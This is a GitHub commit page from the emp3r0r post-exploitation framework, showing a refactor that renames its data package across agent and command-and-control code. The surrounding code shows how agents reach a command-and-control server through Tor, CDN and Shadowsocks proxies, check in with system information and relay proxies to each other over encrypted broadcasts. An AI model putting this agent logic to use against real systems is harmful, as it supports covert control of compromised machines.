Skip to content

Commit

Permalink
refactor: package naming
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Jan 18, 2025
1 parent 4bf2f96 commit 0d481c2
Show file tree
Hide file tree
Showing 57 changed files with 339 additions and 339 deletions.
46 changes: 23 additions & 23 deletions core/cmd/agent/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@ import (

"github.com/google/uuid"
"github.com/jm33-m0/emp3r0r/core/lib/agent"
emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
emp3r0r_def "github.com/jm33-m0/emp3r0r/core/lib/emp3r0r_def"
"github.com/jm33-m0/emp3r0r/core/lib/tun"
"github.com/jm33-m0/emp3r0r/core/lib/util"
cdn2proxy "github.com/jm33-m0/go-cdn2proxy"
Expand Down Expand Up @@ -184,13 +184,13 @@ func main() {
os.Setenv("HOME", u.HomeDir)
}

emp3r0r_data.DefaultShell = fmt.Sprintf("%s/bash", agent.RuntimeConfig.UtilsPath)
emp3r0r_def.DefaultShell = fmt.Sprintf("%s/bash", agent.RuntimeConfig.UtilsPath)
if runtime.GOOS == "windows" {
emp3r0r_data.DefaultShell = "elvish"
} else if !util.IsFileExist(emp3r0r_data.DefaultShell) {
emp3r0r_data.DefaultShell = "/bin/bash"
if !util.IsFileExist(emp3r0r_data.DefaultShell) {
emp3r0r_data.DefaultShell = "/bin/sh"
emp3r0r_def.DefaultShell = "elvish"
} else if !util.IsFileExist(emp3r0r_def.DefaultShell) {
emp3r0r_def.DefaultShell = "/bin/bash"
if !util.IsFileExist(emp3r0r_def.DefaultShell) {
emp3r0r_def.DefaultShell = "/bin/sh"
}
}

Expand Down Expand Up @@ -252,21 +252,21 @@ test_agent:
}

// if CC is behind tor, a proxy is needed
if tun.IsTor(emp3r0r_data.CCAddress) {
if tun.IsTor(emp3r0r_def.CCAddress) {
// if CC is on Tor, CCPort won't be used since Tor handles forwarding
// by default we use 443, so configure your torrc accordingly
emp3r0r_data.CCAddress = fmt.Sprintf("%s/", emp3r0r_data.CCAddress)
log.Printf("CC is on TOR: %s", emp3r0r_data.CCAddress)
emp3r0r_def.CCAddress = fmt.Sprintf("%s/", emp3r0r_def.CCAddress)
log.Printf("CC is on TOR: %s", emp3r0r_def.CCAddress)
if agent.RuntimeConfig.C2TransportProxy == "" {
agent.RuntimeConfig.C2TransportProxy = "socks5://127.0.0.1:9050"
}
log.Printf("CC is on TOR (%s), using %s as TOR proxy", emp3r0r_data.CCAddress, agent.RuntimeConfig.C2TransportProxy)
log.Printf("CC is on TOR (%s), using %s as TOR proxy", emp3r0r_def.CCAddress, agent.RuntimeConfig.C2TransportProxy)
} else {
// parse C2 address
// append CCPort to CCAddress
emp3r0r_data.CCAddress = fmt.Sprintf("%s:%s/", emp3r0r_data.CCAddress, agent.RuntimeConfig.CCPort)
emp3r0r_def.CCAddress = fmt.Sprintf("%s:%s/", emp3r0r_def.CCAddress, agent.RuntimeConfig.CCPort)
}
log.Printf("CCAddress is: %s", emp3r0r_data.CCAddress)
log.Printf("CCAddress is: %s", emp3r0r_def.CCAddress)

// DNS
if agent.RuntimeConfig.DoHServer != "" {
Expand All @@ -290,7 +290,7 @@ test_agent:
dns = agent.RuntimeConfig.DoHServer
}
go func() {
for !tun.IsProxyOK(cdnproxyAddr, emp3r0r_data.CCAddress) {
for !tun.IsProxyOK(cdnproxyAddr, emp3r0r_def.CCAddress) {
// typically you need to configure AgentProxy manually if agent doesn't have internet
// and AgentProxy will be used for websocket connection, then replaced with 10888
err := cdn2proxy.StartProxy(strings.Split(cdnproxyAddr, "socks5://")[1], agent.RuntimeConfig.CDNProxy, upper_proxy, dns)
Expand Down Expand Up @@ -324,8 +324,8 @@ test_agent:
}
return true

} else if !tun.IsTor(emp3r0r_data.CCAddress) &&
!tun.IsProxyOK(agent.RuntimeConfig.C2TransportProxy, emp3r0r_data.CCAddress) {
} else if !tun.IsTor(emp3r0r_def.CCAddress) &&
!tun.IsProxyOK(agent.RuntimeConfig.C2TransportProxy, emp3r0r_def.CCAddress) {
// we don't, just wait for some other agents to help us
log.Println("[-] We don't have internet access, waiting for other agents to give us a proxy...")
if *cnt == 0 {
Expand Down Expand Up @@ -356,8 +356,8 @@ test_agent:

connect:
// apply whatever proxy setting we have just added
emp3r0r_data.HTTPClient = tun.EmpHTTPClient(emp3r0r_data.CCAddress, agent.RuntimeConfig.C2TransportProxy)
if emp3r0r_data.HTTPClient == nil {
emp3r0r_def.HTTPClient = tun.EmpHTTPClient(emp3r0r_def.CCAddress, agent.RuntimeConfig.C2TransportProxy)
if emp3r0r_def.HTTPClient == nil {
log.Printf("[-] Failed to create HTTP2 client, sleeping, will retry later")
util.TakeASnap()
goto connect
Expand All @@ -382,7 +382,7 @@ connect:
goto connect
}
}
log.Printf("Checking in on %s", emp3r0r_data.CCAddress)
log.Printf("Checking in on %s", emp3r0r_def.CCAddress)

// check in with system info
err = agent.CheckIn()
Expand All @@ -391,22 +391,22 @@ connect:
util.TakeASnap()
goto connect
}
log.Printf("Checked in on CC: %s", emp3r0r_data.CCAddress)
log.Printf("Checked in on CC: %s", emp3r0r_def.CCAddress)

// connect to MsgAPI, the JSON based h2 tunnel
token := uuid.NewString() // dummy token
msgURL := fmt.Sprintf("%s%s/%s",
emp3r0r_data.CCAddress,
emp3r0r_def.CCAddress,
tun.MsgAPI,
token)
conn, ctx, cancel, err := agent.ConnectCC(msgURL)
emp3r0r_data.CCMsgConn = conn
emp3r0r_def.CCMsgConn = conn
if err != nil {
log.Printf("Connect CC failed: %v, sleeping, will retry later", err)
util.TakeASnap()
goto connect
}
emp3r0r_data.KCPKeep = true
emp3r0r_def.KCPKeep = true
log.Println("Connecting to CC NsgTun...")
agent.CCMsgTun(ctx, cancel)
log.Printf("CC MsgTun closed, reconnecting")
Expand Down
4 changes: 2 additions & 2 deletions core/cmd/agent/util.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ import (
"strconv"

"github.com/jm33-m0/emp3r0r/core/lib/agent"
emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
emp3r0r_def "github.com/jm33-m0/emp3r0r/core/lib/emp3r0r_def"
"github.com/jm33-m0/emp3r0r/core/lib/tun"
"github.com/jm33-m0/emp3r0r/core/lib/util"
)
Expand All @@ -33,7 +33,7 @@ func isC2Reachable() bool {
}

log.Println("NCSI is disabled, trying direct C2 connection")
return tun.TestConnectivity(emp3r0r_data.CCAddress, agent.RuntimeConfig.C2TransportProxy)
return tun.TestConnectivity(emp3r0r_def.CCAddress, agent.RuntimeConfig.C2TransportProxy)
}

// AgentWaitQueue list of agents waiting to run
Expand Down
10 changes: 5 additions & 5 deletions core/cmd/cc/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ import (
"strings"

"github.com/jm33-m0/emp3r0r/core/lib/cc"
emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
emp3r0r_def "github.com/jm33-m0/emp3r0r/core/lib/emp3r0r_def"
"github.com/jm33-m0/emp3r0r/core/lib/tun"
"github.com/jm33-m0/emp3r0r/core/lib/util"
cdn2proxy "github.com/jm33-m0/go-cdn2proxy"
Expand All @@ -24,13 +24,13 @@ func readJSONConfig(filename string) (err error) {
return
}

return emp3r0r_data.ReadJSONConfig(jsonData, cc.RuntimeConfig)
return emp3r0r_def.ReadJSONConfig(jsonData, cc.RuntimeConfig)
}

// re-generate a random magic string for this CC session
func init_magic_agent_one_time_bytes() {
default_magic_str := emp3r0r_data.OneTimeMagicBytes
emp3r0r_data.OneTimeMagicBytes = util.RandBytes(len(default_magic_str))
default_magic_str := emp3r0r_def.OneTimeMagicBytes
emp3r0r_def.OneTimeMagicBytes = util.RandBytes(len(default_magic_str))

// update binaries
files, err := os.ReadDir(cc.EmpWorkSpace)
Expand All @@ -43,7 +43,7 @@ func init_magic_agent_one_time_bytes() {
}
if strings.HasPrefix(f.Name(), "stub-") {
err = util.ReplaceBytesInFile(fmt.Sprintf("%s/%s", cc.EmpWorkSpace, f.Name()),
default_magic_str, emp3r0r_data.OneTimeMagicBytes)
default_magic_str, emp3r0r_def.OneTimeMagicBytes)
if err != nil {
cc.CliPrintError("init_magic_str %v", err)
}
Expand Down
18 changes: 9 additions & 9 deletions core/lib/agent/broadcast.go
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ import (
"strconv"
"time"

emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
emp3r0r_def "github.com/jm33-m0/emp3r0r/core/lib/emp3r0r_def"
"github.com/jm33-m0/emp3r0r/core/lib/tun"
"github.com/jm33-m0/emp3r0r/core/lib/util"
)
Expand Down Expand Up @@ -54,7 +54,7 @@ func BroadcastServer(ctx context.Context, cancel context.CancelFunc, port string
fmt.Sprintf("127.0.0.1:%s", RuntimeConfig.ReverseProxyPort), // forward to ssh reverse proxy
RuntimeConfig.KCPServerPort,
RuntimeConfig.Password,
emp3r0r_data.MagicString,
emp3r0r_def.MagicString,
ctx, cancel)
if err != nil {
log.Printf("KCP tunnel for reverse proxy: %v", err)
Expand All @@ -74,13 +74,13 @@ func BroadcastServer(ctx context.Context, cancel context.CancelFunc, port string
// wait for the proxy to work
for {
if RuntimeConfig.C2TransportProxy != "" {
if tun.IsProxyOK(RuntimeConfig.C2TransportProxy, emp3r0r_data.CCAddress) {
if tun.IsProxyOK(RuntimeConfig.C2TransportProxy, emp3r0r_def.CCAddress) {
log.Printf("BroadcastServer reverse proxy checker: proxy '%s' is already working", RuntimeConfig.C2TransportProxy)
util.TakeASnap()
continue
}
}
if tun.IsProxyOK(rproxy, emp3r0r_data.CCAddress) {
if tun.IsProxyOK(rproxy, emp3r0r_def.CCAddress) {
break
}
util.TakeASnap()
Expand All @@ -103,14 +103,14 @@ func BroadcastServer(ctx context.Context, cancel context.CancelFunc, port string
}

// decrypt broadcast message
decBytes, err := tun.AES_GCM_Decrypt(emp3r0r_data.AESKey, buf[:n])
decBytes, err := tun.AES_GCM_Decrypt(emp3r0r_def.AESKey, buf[:n])
if err != nil {
log.Printf("BroadcastServer: %v", err)
}
decMsg := string(decBytes)
log.Printf("BroadcastServer: %s sent this: %s\n", addr, decMsg)
if RuntimeConfig.C2TransportProxy != "" &&
tun.IsProxyOK(RuntimeConfig.C2TransportProxy, emp3r0r_data.CCAddress) {
tun.IsProxyOK(RuntimeConfig.C2TransportProxy, emp3r0r_def.CCAddress) {
log.Printf("BroadcastServer: proxy %s already set and working fine\n", RuntimeConfig.C2TransportProxy)
continue
}
Expand All @@ -129,7 +129,7 @@ func BroadcastServer(ctx context.Context, cancel context.CancelFunc, port string
proxy_url := fmt.Sprintf("socks5://127.0.0.1:%s", RuntimeConfig.ShadowsocksLocalSocksPort)

// test proxy
is_proxy_ok := tun.IsProxyOK(proxy_url, emp3r0r_data.CCAddress)
is_proxy_ok := tun.IsProxyOK(proxy_url, emp3r0r_def.CCAddress)

// if the proxy is not working
// restart Shadowsocks local socks5 proxy
Expand All @@ -138,7 +138,7 @@ func BroadcastServer(ctx context.Context, cancel context.CancelFunc, port string
}

// test proxy again
is_proxy_ok = tun.IsProxyOK(proxy_url, emp3r0r_data.CCAddress)
is_proxy_ok = tun.IsProxyOK(proxy_url, emp3r0r_def.CCAddress)

if is_proxy_ok {
RuntimeConfig.C2TransportProxy = proxy_url
Expand Down Expand Up @@ -201,7 +201,7 @@ func BroadcastMsg(msg, dst string) (err error) {
}

// encrypt message
encMsg, err := tun.AES_GCM_Encrypt(emp3r0r_data.AESKey, []byte(msg))
encMsg, err := tun.AES_GCM_Encrypt(emp3r0r_def.AESKey, []byte(msg))
if err != nil {
return fmt.Errorf("failed to encrypt %s", msg)
}
Expand Down
Loading

0 comments on commit 0d481c2

Please sign in to comment.